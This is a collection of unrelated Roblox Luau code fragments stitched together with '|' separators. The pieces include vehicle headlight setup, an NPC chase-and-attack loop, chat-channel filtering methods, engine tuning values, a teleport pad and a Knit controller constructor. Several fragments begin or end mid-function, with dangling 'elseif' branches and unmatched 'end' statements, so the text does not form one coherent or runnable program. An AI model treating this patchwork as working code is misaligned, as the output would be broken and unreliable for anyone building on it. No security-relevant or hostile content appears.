for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[1][1], Lcolors[1][2], Lcolors[1][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[1][1], Pcolors[1][2], Pcolors[1][3])
child.Transparency = 1
end
end
elseif light_type == "OEM White" then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[2][1], Lcolors[2][2], Lcolors[2][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[2][1], Pcolors[2][2], Pcolors[2][3])
child.Transparency = 1
end
end
elseif light_type == "Xenon" then
for idx, child in pairs(PHeadlights.Parts.Headlights:GetChildren()) do
if child.Name == "L" and #child:GetChildren() < 1 then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = Color3.fromRGB(Lcolors[3][1], Lcolors[3][2], Lcolors[3][3])
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = Color3.fromRGB(Pcolors[3][1], Pcolors[3][2], Pcolors[3][3])
child.Transparency = 1
end
end
end
end
for idx, child in pairs(lights.Fog:GetChildren()) do
if child.Name == "L" then
local spot = Instance.new("SpotLight", child)
spot.Name = "L"
spot.Brightness = 0
spot.Range = 0
spot.Face = Enum.NormalId.Front
spot.Color = fog_color
spot.Shadows = true
elseif child.Name == "LN" then
if child:IsA("MeshPart") then
child.TextureID = ""
end
child.Material = Enum.Material.Neon
child.Color = fog_color
child.Transparency = 1
end
end
print("EpicLights Version 2 // Setup completed!")
end
|
-- declarations |
local Torso=waitForChild(sp,"Torso")
local Head=waitForChild(sp,"Head")
local RightShoulder=waitForChild(Torso,"Right Shoulder")
local LeftShoulder=waitForChild(Torso,"Left Shoulder")
local RightHip=waitForChild(Torso,"Right Hip")
local LeftHip=waitForChild(Torso,"Left Hip")
local Neck=waitForChild(Torso,"Neck")
local Humanoid=waitForChild(sp,"Humanoid")
local pose="Standing"
local hitsound=waitForChild(Torso,"HitSound")
local sounds={
waitForChild(Torso,"Ghost1Sound"),
waitForChild(Torso,"Ghost2Sound"),
}
if healthregen then
local regenscript=waitForChild(sp,"HealthRegenerationScript")
regenscript.Disabled=false
end
Humanoid.WalkSpeed=wonderspeed
local toolAnim="None"
local toolAnimTime=0
function onRunning(speed)
if speed>0 then
pose="Running"
else
pose="Standing"
end
end
function onDied()
pose="Dead"
end
function onJumping()
pose="Jumping"
end
function onClimbing()
pose="Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle=3.14
LeftShoulder.DesiredAngle=-3.14
RightHip.DesiredAngle=0
LeftHip.DesiredAngle=0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity =0.5
RightShoulder.DesiredAngle=3.14
LeftShoulder.DesiredAngle=-3.14
RightHip.DesiredAngle=0
LeftHip.DesiredAngle=0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle=3.14 /2
LeftShoulder.DesiredAngle=-3.14 /2
RightHip.DesiredAngle=3.14 /2
LeftHip.DesiredAngle=-3.14 /2
end
function animate(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
amplitude = 1
frequency = 9
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
if not chasing and frequency==9 then
frequency=4
end
if chasing then
RightShoulder.DesiredAngle=math.pi/2
LeftShoulder.DesiredAngle=-math.pi/2
RightHip.DesiredAngle=-desiredAngle*2
LeftHip.DesiredAngle=-desiredAngle*2
else
RightShoulder.DesiredAngle=desiredAngle + climbFudge
LeftShoulder.DesiredAngle=desiredAngle - climbFudge
RightHip.DesiredAngle=-desiredAngle
LeftHip.DesiredAngle=-desiredAngle
end
end
function attack(time,attackpos)
if time-lastattack>=1 then
local hit,pos=raycast(Torso.Position,(attackpos-Torso.Position).unit,attackrange)
if hit and hit.Parent~=nil and hit.Parent.Name~=sp.Name then
local h=hit.Parent:FindFirstChild("Humanoid")
if h then
local creator=sp:FindFirstChild("creator")
if creator then
if creator.Value~=nil then
if creator.Value~=game.Players:GetPlayerFromCharacter(h.Parent) then
for i,oldtag in ipairs(h:GetChildren()) do
if oldtag.Name=="creator" then
oldtag:remove()
end
end
creator:clone().Parent=h
else
return
end
end
end
h:TakeDamage(damage)
hitsound.Volume=.5+(.5*math.random())
hitsound.Pitch=.5+math.random()
hitsound:Play()
if RightShoulder and LeftShoulder then
RightShoulder.CurrentAngle=0
LeftShoulder.CurrentAngle=0
end
end
end
lastattack=time
end
end
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
function populatehumanoids(mdl)
if mdl.ClassName=="Humanoid" then
table.insert(humanoids,mdl)
end
for i2,mdl2 in ipairs(mdl:GetChildren()) do
populatehumanoids(mdl2)
end
end
function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=1
randomsound.Pitch=1
randomsound:Play()
end
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
local _,time=wait(1/3)
humanoids={}
populatehumanoids(game.Workspace)
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent~=nil then
if h.Health>0 and h.Parent.Name~=sp.Name and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if creator==nil or plr==nil or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso")
if t~=nil then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget~=nil then
if not chasing then
playsound(time)
chasing=true
Humanoid.WalkSpeed=runspeed
end
Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
end
if time>nextrandom then
nextrandom=time+3+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
if time>nextsound then
playsound(time)
end
if time>nextjump then
nextjump=time+7+(math.random()*5)
Humanoid.Jump=true
end
animate(time)
end
if sp~=nil then
for i,v in ipairs(sp:GetChildren()) do
if v.className=="Part" then
v.CanCollide=false
end
end
end
wait(4)
sp:remove() --Rest In Pizza
|
--///////////////// Internal-Use Methods
--////////////////////////////////////// |
function methods:InternalDestroy()
for i, speaker in pairs(self.Speakers) do
speaker:LeaveChannel(self.Name)
end
self.eDestroyed:Fire()
self.eDestroyed:Destroy()
self.eMessagePosted:Destroy()
self.eSpeakerJoined:Destroy()
self.eSpeakerLeft:Destroy()
self.eSpeakerMuted:Destroy()
self.eSpeakerUnmuted:Destroy()
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalPostMessage(fromSpeaker, message, extraData)
if (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end
if (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then
local t = self.Mutes[fromSpeaker.Name:lower()]
if (t > 0 and os.time() > t) then
self:UnmuteSpeaker(fromSpeaker.Name)
else
self:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend("GameChat_ChatChannel_MutedInChannel","You are muted and cannot talk in this channel"), fromSpeaker.Name)
return false
end
end
local messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData)
-- allow server to process the unfiltered message string
messageObj.Message = message
local processedMessage
pcall(function()
processedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj)
end)
messageObj.Message = nil
if processedMessage then
-- developer server code's choice to mute the message
if processedMessage.ShouldDeliver == false then
return false
end
messageObj = processedMessage
end
message = self:SendMessageObjToFilters(message, messageObj, fromSpeaker)
local sentToList = {}
for i, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
table.insert(sentToList, speaker.Name)
if speaker.Name == fromSpeaker.Name then
-- Send unfiltered message to speaker who sent the message.
local cMessageObj = ShallowCopy(messageObj)
if userShouldMuteUnfilteredMessage then
cMessageObj.Message = string.rep("_", messageObj.MessageLength)
else
cMessageObj.Message = message
end
cMessageObj.IsFiltered = true
-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.
speaker:InternalSendMessage(cMessageObj, self.Name)
else
speaker:InternalSendMessage(messageObj, self.Name)
end
end
end
local success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)
if not success and err then
print("Error posting message: " ..err)
end
--// START FFLAG
if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG
--// OLD BEHAVIOR
local filteredMessages = {}
for i, speakerName in pairs(sentToList) do
local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName)
if filteredMessage then
filteredMessages[speakerName] = filteredMessage
else
return false
end
end
for i, speakerName in pairs(sentToList) do
local speaker = self.Speakers[speakerName]
if (speaker) then
local cMessageObj = ShallowCopy(messageObj)
cMessageObj.Message = filteredMessages[speakerName]
cMessageObj.IsFiltered = true
speaker:InternalSendFilteredMessage(cMessageObj, self.Name)
end
end
local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message)
if filteredMessage then
messageObj.Message = filteredMessage
else
return false
end
messageObj.IsFiltered = true
self:InternalAddMessageToHistoryLog(messageObj)
--// OLD BEHAVIOR
else
--// NEW BEHAVIOR
local textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat
local filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(
messageObj.FromSpeaker,
message,
textFilterContext
)
if (filterSuccess) then
messageObj.FilterResult = filteredMessage
messageObj.IsFilterResult = isFilterResult
else
return false
end
messageObj.IsFiltered = true
self:InternalAddMessageToHistoryLog(messageObj)
for _, speakerName in pairs(sentToList) do
local speaker = self.Speakers[speakerName]
if (speaker) then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
--// NEW BEHAVIOR
end
--// END FFLAG
-- One more pass is needed to ensure that no speakers do not recieve the message.
-- Otherwise a user could join while the message is being filtered who had not originally been sent the message.
local speakersMissingMessage = {}
for _, speaker in pairs(self.Speakers) do
local isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)
if not isMuted and self:CanCommunicate(fromSpeaker, speaker) then
local wasSentMessage = false
for _, sentSpeakerName in pairs(sentToList) do
if speaker.Name == sentSpeakerName then
wasSentMessage = true
break
end
end
if not wasSentMessage then
table.insert(speakersMissingMessage, speaker.Name)
end
end
end
--// START FFLAG
if (not IN_GAME_CHAT_USE_NEW_FILTER_API) then --// USES FFLAG
--// OLD BEHAVIOR
for _, speakerName in pairs(speakersMissingMessage) do
local speaker = self.Speakers[speakerName]
if speaker then
local filteredMessage = self.ChatService:InternalApplyRobloxFilter(messageObj.FromSpeaker, message, speakerName)
if filteredMessage == nil then
return false
end
local cMessageObj = ShallowCopy(messageObj)
cMessageObj.Message = filteredMessage
cMessageObj.IsFiltered = true
speaker:InternalSendFilteredMessage(cMessageObj, self.Name)
end
end
--// OLD BEHAVIOR
else
--// NEW BEHAVIOR
for _, speakerName in pairs(speakersMissingMessage) do
local speaker = self.Speakers[speakerName]
if speaker then
speaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)
end
end
--// NEW BEHAVIOR
end
--// END FFLAG
return messageObj
end
function methods:InternalAddSpeaker(speaker)
if (self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is already in the channel!")
return
end
self.Speakers[speaker.Name] = speaker
local success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end)
if not success and err then
print("Error removing channel: " ..err)
end
end
function methods:InternalRemoveSpeaker(speaker)
if (not self.Speakers[speaker.Name]) then
warn("Speaker \"" .. speaker.name .. "\" is not in the channel!")
return
end
self.Speakers[speaker.Name] = nil
local success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end)
if not success and err then
print("Error removing speaker: " ..err)
end
end
function methods:InternalRemoveExcessMessagesFromLog()
local remove = table.remove
while (#self.ChatHistory > self.MaxHistory) do
remove(self.ChatHistory, 1)
end
end
function methods:InternalAddMessageToHistoryLog(messageObj)
table.insert(self.ChatHistory, messageObj)
self:InternalRemoveExcessMessagesFromLog()
end
function methods:GetMessageType(message, fromSpeaker)
if fromSpeaker == nil then
return ChatConstants.MessageTypeSystem
end
return ChatConstants.MessageTypeDefault
end
function methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData)
local messageType = self:GetMessageType(message, fromSpeaker)
local speakerUserId = -1
local speaker = nil
if fromSpeaker then
speaker = self.Speakers[fromSpeaker]
if speaker then
local player = speaker:GetPlayer()
if player then
speakerUserId = player.UserId
else
speakerUserId = 0
end
end
end
local messageObj =
{
ID = self.ChatService:InternalGetUniqueMessageId(),
FromSpeaker = fromSpeaker,
SpeakerUserId = speakerUserId,
OriginalChannel = self.Name,
MessageLength = string.len(message),
MessageType = messageType,
IsFiltered = isFiltered,
Message = isFiltered and message or nil,
--// These two get set by the new API. The comments are just here
--// to remind readers that they will exist so it's not super
--// confusing if they find them in the code but cannot find them
--// here.
--FilterResult = nil,
--IsFilterResult = false,
Time = os.time(),
ExtraData = {},
}
if speaker then
for k, v in pairs(speaker.ExtraData) do
messageObj.ExtraData[k] = v
end
end
if (extraData) then
for k, v in pairs(extraData) do
messageObj.ExtraData[k] = v
end
end
return messageObj
end
function methods:SetChannelNameColor(color)
self.ChannelNameColor = color
for i, speaker in pairs(self.Speakers) do
speaker:UpdateChannelNameColor(self.Name, color)
end
end
function methods:GetWelcomeMessageForSpeaker(speaker)
if self.GetWelcomeMessageFunction then
local welcomeMessage = self.GetWelcomeMessageFunction(speaker)
if welcomeMessage then
return welcomeMessage
end
end
return self.WelcomeMessage
end
function methods:RegisterGetWelcomeMessageFunction(func)
if type(func) ~= "function" then
error("RegisterGetWelcomeMessageFunction must be called with a function.")
end
self.GetWelcomeMessageFunction = func
end
function methods:UnRegisterGetWelcomeMessageFunction()
self.GetWelcomeMessageFunction = nil
end
|
-- Place in StarterGui. |
local message = script.Chat
local color = script.Color
game:GetService("StarterGui"):SetCore("ChatMakeSystemMessage",{
Text = (message.Value);
Color = color.Value;
Font = Enum.Font.SourceSansBold;
FontSize = Enum.FontSize.Size18;
})
|
----- Connections ----- |
CreateSellListener()
Remotes.SellSpeed.OnServerEvent:Connect(SellSpeed)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 220*1.3 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 750 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 1600 -- Use sliders to manipulate values
Tune.Redline = 1800 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 1400
Tune.PeakSharpness = 5
Tune.CurveMult = 0.5
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Made by UncRepresentingWAF |
local Teleport = "Cuff TP" --Put the name of the Part between the quotation marks.
function Touch(hit)
if script.Parent.Locked == false and script.Parent.Parent:findFirstChild(Teleport).Locked == false then script.Parent.Locked = true script.Parent.Parent:findFirstChild(Teleport).Locked = true --Checks Debounce.
local Pos = script.Parent.Parent:findFirstChild(Teleport)
hit.Parent:moveTo(Pos.Position) wait(1) script.Parent.Locked = false script.Parent.Parent:findFirstChild(Teleport).Locked = false end end
script.Parent.Touched:connect(Touch)
|
--[[
Merges dictionary-like tables together.
]] |
function Immutable.JoinDictionaries(...)
local result = {}
for i = 1, select("#", ...) do
local dictionary = select(i, ...)
for key, value in next, dictionary do
result[key] = value
end
end
return result
end
|
-- AdornmentData type |
type AdornmentData = VisualizerCache.AdornmentData
|
--[[ Revisit, not needed atm
function map:CreateFatGrid()
map.fatgrid = {}
for x = 0, map.sizeX - 1, map.fatgridSize do
for y = 0, map.sizeY - 1, map.fatgridSize do
local node = {}
node.x = x
node.y = y
node.nodes = {}
map.fatgrid[Vector3.new(x/map.fatgridSize, y/map.fatgridSize)] = node
end
end
for counter
--find all the edge cells that have connections (north soth east west)
--top edge
local tempList = {}
for xx = 0, map.fatgridSize-1 do
local coord = map:GetPoint( Vector3.new(x+xx, y + 0))
local otherCoord = map:GetPoint( Vector3.new(x+xx, y + 0 - 1) )
if (coord and otherCoord and coord.cost < map.impassible and otherCoord.cost < map.impassible) then
--We have a link
tempList[xx] = { coord, otherCoord }
--debugBall(coord,Color3.new(1,0,0))
--debugBall(otherCoord, Color3.new(1,1,0))
end
end
--Create a new list of connections with only 1 neighbor
local newList = {}
for xx = 0, map.fatgridSize-1 do
if (tempList[xx] ~= nil and (tempList[xx-1] ==nil or tempList[xx+1] == nil)) then
table.insert(newList, tempList[xx])
end
end
local tileCol = Color3.fromHSV(math.random(),1,1)
for key,tab in pairs(newList) do
debugBall(tab[1], tileCol)
debugBall(tab[2], Color3.new(1,1,0))
end
end
end
end
]] | --
map:GenerateDummy()
map:CreateVisuals()
local server = {}
server.playerRecords = {}
function server:OnPlayerConnected(player)
local playerRecord = {}
playerRecord.userId = player.UserId
playerRecord.name = player.Name
playerRecord.displayName = player.DisplayName
playerRecord.player = player
self.playerRecords[player.UserId] = playerRecord
nerds:PlayerConnected(playerRecord)
end
function server:GetPlayers()
return self.playerRecords
end
function server:OnPlayerDisconnected(player)
self.playerRecords[player.UserId] = nil
end
function server:Setup()
nerds:Setup()
game.Players.PlayerAdded:Connect(function(player)
self:OnPlayerConnected(player)
end)
game.Players.PlayerRemoving:Connect(function(player)
self:OnPlayerDisconnected(player)
end)
for key,player in pairs(game.Players:GetPlayers()) do
self:OnPlayerConnected(player)
end
wait(10)
nerds:SetMap(map)
nerds:CreateNerds(1000, server)
end
server:Setup()
|
-- increment the time of day and then wait for a while |
l:SetMinutesAfterMidnight(l:GetMinutesAfterMidnight()+1)
wait(.1)
end
|
--If this script has been installed already, we can stop this instance. Otherwise,
--this instance is the first to run of this version, so we'll install it to PlayerScripts.
--This is necessary because if we left it inside the Tool, it would stop running when the player
--dropped the tool or died, so our WeaponsSystem instance would be garbage-collected. |
if ClientWeaponsScript and ClientWeaponsScript ~= script then
return
else
CollectionService:AddTag(script, "ClientWeaponsSystem")
script.Parent = PlayerScripts
end
print("Starting ClientWeaponsScript")
local WeaponsSystemFolder = nil
local function searchForWeaponsSystem()
local anyPossible = false
for i, weaponsSystem in pairs(CollectionService:GetTagged(WEAPONS_SYSTEM_TAG)) do
anyPossible = true
if weaponsSystem:IsDescendantOf(ReplicatedStorage) then
local systemVersionObj = weaponsSystem:WaitForChild("Version")
if systemVersionObj and systemVersionObj.Value == ScriptVersion then
WeaponsSystemFolder = weaponsSystem
break
end
end
end
return anyPossible
end
|
--[=[
Creates a new controller.
:::caution
Controllers must be created _before_ calling `Knit.Start()`.
:::
```lua
-- Create a controller
local MyController = Knit.CreateController {
Name = "MyController",
}
function MyController:KnitStart()
print("MyController started")
end
function MyController:KnitInit()
print("MyController initialized")
end
```
]=] |
function KnitClient.CreateController(controllerDef: ControllerDef): Controller
assert(type(controllerDef) == "table", `Controller must be a table; got {type(controllerDef)}`)
assert(type(controllerDef.Name) == "string", `Controller.Name must be a string; got {type(controllerDef.Name)}`)
assert(#controllerDef.Name > 0, "Controller.Name must be a non-empty string")
assert(not DoesControllerExist(controllerDef.Name), `Controller {controllerDef.Name} already exists`)
local controller = controllerDef :: Controller
controllers[controller.Name] = controller
return controller
end
|